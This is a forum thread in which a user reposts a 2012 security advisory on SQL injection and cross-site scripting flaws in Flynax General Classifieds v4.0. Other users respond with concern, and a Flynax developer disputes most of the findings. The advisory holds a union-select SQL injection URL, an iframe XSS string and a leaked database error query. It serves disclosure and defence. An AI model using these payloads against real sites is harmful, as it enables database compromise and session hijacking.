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Thread: Flynax General Classifieds Multiple Cross-Site Scripting Vulnerabilities

  1. #1
    Senior Member
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    Dec 2011
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    159

    Exclamation Flynax General Classifieds Multiple Cross-Site Scripting Vulnerabilities

    I came across the following which state vulnerability of the flynax script

    http://forums.cnet.com/7726-6132_102-5346906.html

    This is something that we should be alert about?
    Is there a official fix?

    I am still using 4.01 and I believe there are many others who are still using

    =====================


    Title:
    ======
    Flynax General Classifieds v4.0 CMS - Multiple Vulnerabilities


    Date:
    =====
    2012-07-13


    References:
    ===========
    http://www.vulnerability-lab.com/get_content.php?id=659


    VL-ID:
    =====
    659


    Common Vulnerability Scoring System:
    ====================================
    8.3


    Introduction:
    =============
    Choosing Flynax General Classifieds software allows you to set up any classifieds website. It is not designed for a
    particular niche so it can be adjusted to any idea of a classifieds website. This gives you a chance to choose the
    any niche for your classifieds website. For example you may create a classifieds website which will base on local
    classifieds with job ads, sport goods, motorbikes, bicycles or be oriented on all ideas in one website. Using General
    classifieds software with plugins you may create that classifieds website which you desire to have.

    (Copy of the Vendor Homepage: http://www.flynax.com/general-classifieds-software.html )


    Abstract:
    =========
    The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in the Flynax General Classifieds v4.0 CMS.


    Report-Timeline:
    ================
    2012-07-13: Public or Non-Public Disclosure


    Status:
    ========
    Published


    Exploitation-Technique:
    =======================
    Remote


    Severity:
    =========
    Critical


    Details:
    ========
    1.1
    A SQL Injection vulnerability is detected in the Flynax General Classifieds v4.0 Content Management System. Remote attackers
    without privileged user accounts can execute/inject own sql commands to compromise the application dbms. The vulnerability is
    located in the general module with the bound vulnerable sort_by parameter. Successful exploitation of the vulnerability result
    in dbms (Server) or application (Web) compromise. Exploitation requires no user inter action & without privileged user account.

    Vulnerable Module(s):
    [+] General

    Vulnerable Parameter(s):
    [+] sort_by


    1.2
    Multiple persistent input validation vulnerabilities are detected in the Flynax General Classifieds v4.0 Content Management System.
    The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent). The persistent
    vulnerabilities are located in Administrators, User Account & Categories add/list modules with the bound vulnerable titel & username
    parameters. Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context
    manipulation. Exploitation requires low user inter action & privileged user account.

    Vulnerable Module(s):
    [+] Common > Administrators > Add an Administrator & Listing
    [+] User Accounts > Add an User Account & Listing
    [+] Categories > Add a Category & Listing

    Vulnerable Parameter(s):
    [+] Username
    [+] Titel


    1.3
    Multiple non persistent cross site scripting vulnerabilities are detected in the Flynax General Classifieds v4.0 Content Management System.
    The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with medium or high required user inter
    action or local low privileged user account. The bugs are located in the seach module with the bound vulnerable Titel & Price parameters.
    Successful exploitation can result in account steal, client side phishing & client-side content request manipulation. Exploitation requires
    medium or high user inter action & without privileged web application user account.

    Vulnerable Module(s):
    [+] Search

    Vulnerable Parameter(s):
    [+] Titel
    [+] Price


    Proof of Concept:
    =================
    1.1
    The SQL Injection Vulnerability can be exploited by remote attackers without user inter action & without privileged user account.
    For demonstration or reproduce ...

    PoC:
    http://general.[SERVER]:1339/general?sort_by=-1 union all select 1,2,3,4,5,6,7,8,9,@@version,11--



    --- Exception Logs ---

    MYSQL ERROR
    Error: Unknown column 'T1.' in 'order clause'

    Query: SELECT SQL_CALC_FOUND_ROWS DISTINCT SUBSTRING_INDEX(GROUP_CONCAT(DISTINCT `T6`.`Thumbnail` ORDER BY `T6`.`Type`
    DESC, `T6`.`ID` ASC), ',', 1) AS `Main_photo`, `T1`.*, `T1`.`Shows`, `T3`.`Path` AS `Path`, `T3`.`Key` AS `Key`, `T3`.`Type`
    AS `Listing_type`, COUNT(`T6`.`Thumbnail`) AS `Photos_count`, IF(UNIX_TIMESTAMP(DATE_ADD(`T1`.`Featured_date`, INTERVAL `T2`.`
    Listing_period` DAY)) > UNIX_TIMESTAMP(NOW()) OR `T2`.`Listing_period` = 0, '1', '0') `Featured` FROM `fl_listings` AS `T1`
    LEFT JOIN `fl_listing_plans` AS `T2` ON `T1`.`Plan_ID` = `T2`.`ID` LEFT JOIN `fl_categories` AS `T3` ON `T1`.`Category_ID` =
    `T3`.`ID` LEFT JOIN `fl_listing_photos` AS `T6` ON `T1`.`ID` = `T6`.`Listing_ID` LEFT JOIN `fl_accounts` AS `T7` ON `T1`.`
    Account_ID` = `T7`.`ID` WHERE ( UNIX_TIMESTAMP(DATE_ADD(`T1`.`Pay_date`, INTERVAL `T2`.`Listing_period` DAY)) > UNIX_TIMESTAMP(NOW())
    OR `T2`.`Listing_period` = 0 ) AND `T1`.`Account_ID` = '2' AND `T1`.`Status` = 'active' AND `T3`.`Status` = 'active' GROUP BY `T1`.
    `ID` ORDER BY `T1`.`` DESC LIMIT 0, 10

    Function: getAll
    Class: rlDb
    File: /home/[PATH]/public_html/general/includes/classes/rlListings.class.php (line# 831)
    Last edited by rosegarden; October 7, 2012 at 05:15 AM.

  2. #2
    Senior Member
    Join Date
    Dec 2011
    Posts
    159
    1.2
    The persistent input validation vulnerabilities can be exploited with low privileged user account and low required user inter action.
    For demonstration or reproduce ...


    Review: User Accounts > Add an User Account & Listing

    <tr class="x-grid3-row-body-tr" style=""><td colspan="9" class="x-grid3-body-cell" tabindex="0" hidefocus="on"><div class="x-grid3-row-body">
    </div></td></tr></tbody></table></div><div class="x-grid3-row x-grid3-row-collapsed x-grid3-row-last" style="width: 1063px;">
    <table class="x-grid3-row-table" style="width: 1063px;" border="0" cellpadding="0" cellspacing="0"><tbody><tr><td class="x-grid3-col x-grid3-cell
    x-grid3-td-checker x-grid3-cell-first " style="width: 19px;" tabindex="0"><div class="x-grid3-cell-inner x-grid3-col-checker"
    unselectable="on"><div class="x-grid3-row-checker"> </div></div></td><td class="x-grid3-col x-grid3-cell x-grid3-td-expander "
    style="width: 18px;" tabindex="0" rowspan="2"><div class="x-grid3-cell-inner x-grid3-col-expander" unselectable="on"><div class="x-grid3-row-expander">
    </div></div></td><td class="x-grid3-col x-grid3-cell x-grid3-td-rlExt_black_bold " style="width: 38px;" tabindex="0">
    <div class="x-grid3-cell-inner x-grid3-col-rlExt_black_bold" unselectable="on">5</div></td><td class="x-grid3-col x-grid3-cell x-grid3-td-3 "
    style="width: 116px;" tabindex="0"><div class="x-grid3-cell-inner x-grid3-col-3" unselectable="on">><[INJECTED PERSISTENT SCRIPT CODE]</div'>
    </td><td class="x-grid3-col x-grid3-cell x-grid3-td-rlExt_item_bold " style="width: 226px;" tabIndex="0" ><div
    class="x-grid3-cell-inner x-grid3-col-rlExt_item_bold" unselectable="on" ><a href="http://general.[SERVER]:1339/admin/index.php?controller=
    accounts&action=view&userid=5">N/A</a></div></td><td class="x-grid3-col x-grid3-cell x-grid3-td-rlExt_item "
    style="width: 198px;" tabIndex="0" ><div class="x-grid3-cell-inner x-grid3-col-rlExt_item" unselectable="on" ><span ext:
    qtip="Click here to edit">yea@gmail.com</span></div></td><td class="x-grid3-col x-grid3-cell x-grid3-td-6 "
    style="width: 116px;" tabIndex="0" ><div class="x-grid3-cell-inner x-grid3-col-6" unselectable="on" >Buyer</div></td
    ><td class="x-grid3-col x-grid3-cell x-grid3-td-7 " style="width: 116px;" tabIndex="0" ><div class="x-grid3-cell-inner
    x-grid3-col-7" unselectable="on" >Jul 10, 2012</div></td><td class="x-grid3-col x-grid3-cell x-grid3-td-8 " style="width:
    98px;background: #d2e798;" tabIndex="0" ><div class="x-grid3-cell-inner x-grid3-col-8" unselectable="on" ><span
    ext:qtip="Click here to edit">Active</span></div></td><td class="x-grid3-col x-grid3-cell x-grid3-td-9 x-grid3-cell-last
    " style="width: 98px;" tabIndex="0" ><div class="x-grid3-cell-inner x-grid3-col-9" unselectable="on" ><center><a
    href='http://general.[SERVER]:1339/admin/index.php?controller=accounts&action=view&userid=5 '><img class='view'
    ext:qtip='View' src='http://general.[SERVER]:1339/admin/img/blank.gif' /></a><a href='http://general.[SERVER]:1339/admin/
    index.php?controller=accounts&action=edit&account= 5'><img class='edit' ext:qtip='Edit' src='http://general.[SERVER]:1339/
    admin/img/blank.gif' /></a><img class='remove' ext:qtip='Delete' src='http://general.[SERVER]:1339/admin/img/blank.gif'
    onclick='xajax_prepareDeleting(5)' /></center></div></td></tr><tr class="x-grid3-row-body-tr" style=""><
    td colspan="9" class="x-grid3-body-cell" tabIndex="0" hidefocus="on"><div class="x-grid3-row-body"></div></td></tr
    ></tbody></table></div></iframe></div></td></tr></tbody></table></div></div>

    Common > Administrators > Add an Administrator > Username
    URL: http://general.[SERVER]:1339/admin/index.php?controller=admins
    URL: http://general.[SERVER]:1339/admin/index.php?controller=admins&status=new

    User Accounts > Add an User Account > Username
    URL: http://general.[SERVER]:1339/admin/index.php?controller=accounts
    URL: http://general.[SERVER]:1339/admin/index.php?controller=accounts&status=new



    Review: Categories > Add a Category & Listing

    <div class="x-grid3-cell-inner x-grid3-col-rlExt_item_bold" unselectable="on">><[INJECTED PERSISTENT SCRIPT CODE])' <<="" div=""></td>
    <td class="x-grid3-col x-grid3-cell x-grid3-td-1 " style="width: 93px;" tabIndex="0" ><div class="x-grid3-cell-inner x-grid3-col-1"
    unselectable="on" ><a style="display: block;" ext:qtip="Browse Category" class="green_11" href="http://general.127.0.0.1:1339/admin/index.php?
    controller=browse&id=13"><b>2</b></a></div><

    Categories > Add a Category > Titel
    URL: http://general.[SERVER]:1339/admin/index.php?controller=categories
    URL: http://general.[SERVER]:1339/admin/index.php?controller=categories&status=new



    1.3
    The non persistent cross site scripting vulnerability can be exploited by remote attackers with medium or high required user inter action.
    For demonstration or reproduce ...

    String: ><iframe src=http://vuln-lab.com onload=alert("VulnerabilityLab") <

    Review: Search - Title & Price

    <div class="value">
    <input><[NON PERSISTENT SCRIPT CODE]" class="numeric field_from w50" type="text"
    name="f[price][from]" maxlength="15"><img
    alt=""
    src="http://general.demoflynax.com/templates/general_modern/img/blank.gif"
    class="between" /><input value=""><iframe src=a"
    class="numeric field_to w50" type="text" name="f[price][to]"
    maxlength="15" />
    </div>

    URL: http://general.[SERVER]:1339/search.html


    Risk:
    =====
    1.1
    The security risk of the remote sql injection vulnerability is estimated as critical.

    1.2
    The security risk of the persistent input validation vulnerabilities are estimated as medium(+).

    1.3
    The security risk of the non persistent cross site scripting vulnerabilities are estimated as low(+).


    Credits:
    ========
    Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)


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    ===========
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  3. #3
    Junior Member
    Join Date
    Sep 2012
    Posts
    13
    this is indeed alarming, hope the flynax specialist can reassure us about this. waiting for a prompt answer.

  4. #4
    yes, have spoted the report olso. waiting for a reply from flynax...

  5. #5
    Flynax developer John's Avatar
    Join Date
    Oct 2009
    Posts
    586
    Hello Guys,
    I have checked the report you mentioned above and can't confirm the vulnerabilities listed.
    But yes, the sql injection is possible if you have access to the admin panel, but if you have the access to the
    admin panel you can use default database manager and do direct commands to database.
    So if you haven't access to the admin panel then you can't do anything there.

    If someone can reproduce the listed vulnerability on our demo, please let me know but now I can
    say that vulnerabilities listed in this thread doesn't confirmed by us.

    John

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